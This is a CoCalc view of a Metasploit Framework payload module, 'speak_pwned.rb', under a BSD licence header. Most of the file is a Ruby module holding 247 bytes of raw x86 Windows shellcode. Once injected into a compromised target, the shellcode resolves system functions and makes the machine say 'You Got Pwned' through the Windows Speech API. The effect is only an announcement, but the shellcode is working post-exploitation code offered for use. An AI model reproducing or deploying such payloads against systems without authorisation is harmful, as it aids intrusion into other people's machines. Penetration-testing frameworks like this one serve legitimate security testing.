Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/speak_pwned.rb
21547 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
=begin
7
8
https://www.exploit-db.com/sploits/w32-speaking-shellcode.zip
9
10
Copyright (c) 2009-2010 Berend-Jan "SkyLined" Wever <[email protected]>
11
All rights reserved.
12
13
Redistribution and use in source and binary forms, with or without
14
modification, are permitted provided that the following conditions are met:
15
* Redistributions of source code must retain the above copyright
16
notice, this list of conditions and the following disclaimer.
17
* Redistributions in binary form must reproduce the above copyright
18
notice, this list of conditions and the following disclaimer in the
19
documentation and/or other materials provided with the distribution.
20
* Neither the name of the copyright holder nor the names of the
21
contributors may be used to endorse or promote products derived from
22
this software without specific prior written permission.
23
24
THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
25
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
26
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
27
COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
28
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
29
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
30
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
31
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
32
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
33
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
34
35
=end
36
37
module MetasploitModule
38
CachedSize = 247
39
40
include Msf::Payload::Windows
41
include Msf::Payload::Single
42
43
def initialize(info = {})
44
super(
45
update_info(
46
info,
47
'Name' => 'Windows Speech API - Say "You Got Pwned!"',
48
'Description' => 'Causes the target to say "You Got Pwned" via the Windows Speech API',
49
'Author' => [ 'Berend-Jan "SkyLined" Wever <berendjanwever[at]gmail.com>' ],
50
'License' => BSD_LICENSE,
51
'Platform' => 'win',
52
'Arch' => ARCH_X86,
53
'Privileged' => false,
54
'Payload' => {
55
'Offsets' => {},
56
'Payload' =>
57
"\x66\x81\xe4\xfc\xff\x31\xf6\x64\x8b\x76\x30\x8b" \
58
"\x76\x0c\x8b\x76\x1c\x56\x66\xbe\xaa\x1a\x5f\x8b" \
59
"\x6f\x08\xff\x37\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01" \
60
"\xeb\x8b\x4b\x18\x67\xe3\xeb\x8b\x7b\x20\x01\xef" \
61
"\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66" \
62
"\xc1\xca\x01\xae\x75\xf7\x49\x66\x39\xf2\x74\x08" \
63
"\x67\xe3\xcb\xe9\xdb\xff\xff\xff\x8b\x73\x24\x01" \
64
"\xee\x0f\xb7\x34\x4e\x8b\x43\x1c\x01\xe8\x8b\x3c" \
65
"\xb0\x01\xef\x31\xf6\x66\x81\xfa\xda\xf0\x74\x1b" \
66
"\x66\x81\xfa\x69\x27\x74\x20\x6a\x32\x68\x6f\x6c" \
67
"\x65\x33\x54\xff\xd7\x95\x66\xbe\xda\xf0\xe9\x95" \
68
"\xff\xff\xff\x56\xff\xd7\x66\xbe\x69\x27\xe9\x89" \
69
"\xff\xff\xff\x68\x6e\x04\x22\xd4\x68\xa1\xec\xef" \
70
"\x99\x68\xb9\x72\x92\x49\x68\x74\xdf\x44\x6c\x89" \
71
"\xe0\x68\x4f\x79\x73\x96\x68\x9e\xe3\x01\xc0\xff" \
72
"\x4c\x24\x02\x68\x91\x33\xd2\x11\x68\x77\x93\x74" \
73
"\x96\x89\xe3\x56\x54\x50\x6a\x17\x56\x53\xff\xd7" \
74
"\x5b\x68\x6f\x67\x20\x55\x68\x6f\x70\x20\x74\x68" \
75
"\x21\x64\x6e\x68\x96\x89\xe6\x50\xac\x66\x50\x3c" \
76
"\x55\x75\xf9\x89\xe1\x31\xc0\x50\x50\x51\x53\x8b" \
77
"\x13\x8b\x4a\x50\xff\xd1\xcc"
78
}
79
)
80
)
81
82
# EXITFUNC is not supported :/
83
deregister_options('EXITFUNC')
84
end
85
end
86
87